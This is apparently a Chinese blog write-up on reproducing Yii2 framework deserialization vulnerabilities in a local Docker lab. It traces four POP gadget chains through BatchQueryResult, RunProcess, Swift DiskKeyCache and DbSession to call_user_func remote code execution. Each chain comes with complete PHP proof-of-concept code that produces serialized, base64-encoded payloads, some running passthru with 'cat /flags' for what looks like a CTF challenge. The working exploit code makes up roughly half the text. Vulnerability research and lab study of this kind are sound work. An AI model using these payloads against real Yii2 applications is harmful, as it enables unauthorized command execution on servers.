一些名词

POC:漏洞证明

EXP:漏洞利用

环境搭建

当时学的时候不大会用composer,就用docker了

把框架下载下来然后执行docker-compose up -ddocker-compose ps

根目录:http://127.0.0.1/fuxian/yii2/web/index.php

变量r来表示控制器和方法

http://127.0.0.1/fuxian/yii2/web/index.php?r=控制器/方法

比如这里就是?r=test/test&data=xxx

上面的代码相当于做了一个反序列化的入口点

POP链(1)

我们先知道漏洞的切入点是在yii\db\BatchQueryResult类中,其中有个__destruct()魔术方法

跟踪这个reset函数,我们可以发现

如果$this->_dataReader没有close这个函数的话,就可以触发__call()的魔术方法

我们来找一下比较可疑的__call()函数

Faker\Generator中有个不错的__call()函数

其中$method会自动接收不存在的方法名,$attributes则以数组的方式接收不存在方法的多个参数。

我们跟踪一下format

再跟踪一下getFormatter

由于$this->formatters是可以操纵的,所以相当于返回一个自定的函数

接下来的问题是,有哪个函数可以不用再传参便可RCE

这里可以查找一下call_user_func函数的无参方法以实现RCE

构造正则

其中yii\rest\IndexActionyii\rest\CreateAction里面的run()函数比较符合!

然后就可以通过控制$this->checkAccess$this->id来实现RCE了

pop链就是

yii\db\BatchQueryResult::__destruct()->reset()->close()
↓↓↓
Faker\Generator::__call()->format()->call_user_func_array()
↓↓↓
\yii\rest\IndexAction::run->call_user_func()

贴一下林神的poc

<?php

namespace yii\rest{
  class IndexAction{
      public $checkAccess;
      public $id;
      public function __construct(){
          $this->checkAccess = 'phpinfo';
          $this->id = '1';           //命令执行
      }
  }
}
namespace Faker {

  use yii\rest\IndexAction;

  class Generator
  {
      protected $formatters;

      public function __construct()
      {
          $this->formatters['close'] = [new IndexAction(), 'run'];
      }
  }
}
namespace yii\db{

  use Faker\Generator;

  class BatchQueryResult{
      private $_dataReader;
      public function __construct()
      {
          $this->_dataReader=new Generator();
      }
  }
}
namespace{

  use yii\db\BatchQueryResult;

  echo base64_encode(serialize(new BatchQueryResult()));
}

代码中$this->formatters['close'] = [new IndexAction(), 'run'];就是表示IndexAction类中的run函数

然后这题要RCE还得用passthru....

POP链2

BatchQueryResult不能用了,可以考虑找别的起点

RunProcess.php里就有个诱人的__destruct()

跟进一下

我们可以通过$this->processes来触发__call()

poc:

<?php

namespace yii\rest{
  class IndexAction{
      public $checkAccess;
      public $id;
      public function __construct(){
          $this->checkAccess = 'passthru';
          $this->id = 'cat /flags';//命令执行
      }
  }
}
namespace Faker {

  use yii\rest\IndexAction;

  class Generator
  {
      protected $formatters;

      public function __construct()
      {
          $this->formatters['isRunning'] = [new IndexAction(), 'run'];
      }
  }
}
namespace Codeception\Extension{

  use Faker\Generator;

  class RunProcess{
      private $processes = [];
      public function __construct()
      {
          $this->processes[] = new Generator();
      }
  }
}

namespace yii\db{
  use Faker\Generator;
  class BatchQueryResult{
      private $_dataReader;
      public function __construct()
      {
          $this->_dataReader=new Generator();
      }
  }
}

namespace{

  use Codeception\Extension\RunProcess;

  echo base64_encode(serialize(new RunProcess()));
}

POP链3

还是去找__destruct()

有个DiskKeyCache.php里的似乎很诱人

跟进一下clearAll

这里的出现了字符串拼接,可以考虑__toString()魔术方法

后面就有很多类可以利用了。比如这里的XmlBuilder.php

然后就可以触发_call()

POC:

<?php

namespace yii\rest{
  class IndexAction{
      public $checkAccess;
      public $id;
      public function __construct(){
          $this->checkAccess = 'passthru';
          $this->id = 'cat /flagsa';//命令执行
      }
  }
}
namespace Faker {

  use yii\rest\IndexAction;

  class Generator
  {
      protected $formatters;

      public function __construct()
      {
          $this->formatters['saveXML'] = [new IndexAction(), 'run'];
      }
  }
}

namespace Codeception\Util{
  use Faker\Generator;
  class XmlBuilder
  {
      protected $__dom__;
      public function __construct()
      {
          $this->__dom__ = new Generator();
      }
  }
}

namespace {
  use Codeception\Util\XmlBuilder;
  class Swift_KeyCache_DiskKeyCache{
      private $keys = [];
      private $path;
      public function __construct()
      {
          $this->path = new XmlBuilder();
          $this->keys["AA"]="AA";
      }
  }
}


namespace{
  echo serialize(new Swift_KeyCache_DiskKeyCache());
  echo "\n";
  echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}

另一条链子

还是以BatchQueryResult.php为入口,只是这次来找一个有close()的函数

DbSession.php中有一个很诱人的函数

跟进一下里面的composeFields函数

其中writeCallback是可控的,我们可以利用之前的run函数实现RCE

Poc:

<?php

namespace yii\rest{
  class IndexAction{
      public $checkAccess;
      public $id;
      public function __construct(){
          $this->checkAccess = 'phpinfo';
          $this->id = '1';//命令执行
      }
  }
}



namespace yii\web{
  use yii\rest\IndexAction;
  class DbSession
  {
      public $writeCallback;

      public function __construct()
      {
          $this->writeCallback = [new IndexAction(), 'run'];
      }
  }
}

namespace yii\db{
  use yii\web\DbSession;
  class BatchQueryResult{
      private $_dataReader;
      public function __construct()
      {
          $this->_dataReader = new DbSession();
      }
  }
}


namespace{
  use yii\db\BatchQueryResult;
  echo serialize(new BatchQueryResult());
  echo "\n";
  echo base64_encode(serialize(new BatchQueryResult()));
}

参考链接

林神


告别纷扰,去寻找生活的宝藏。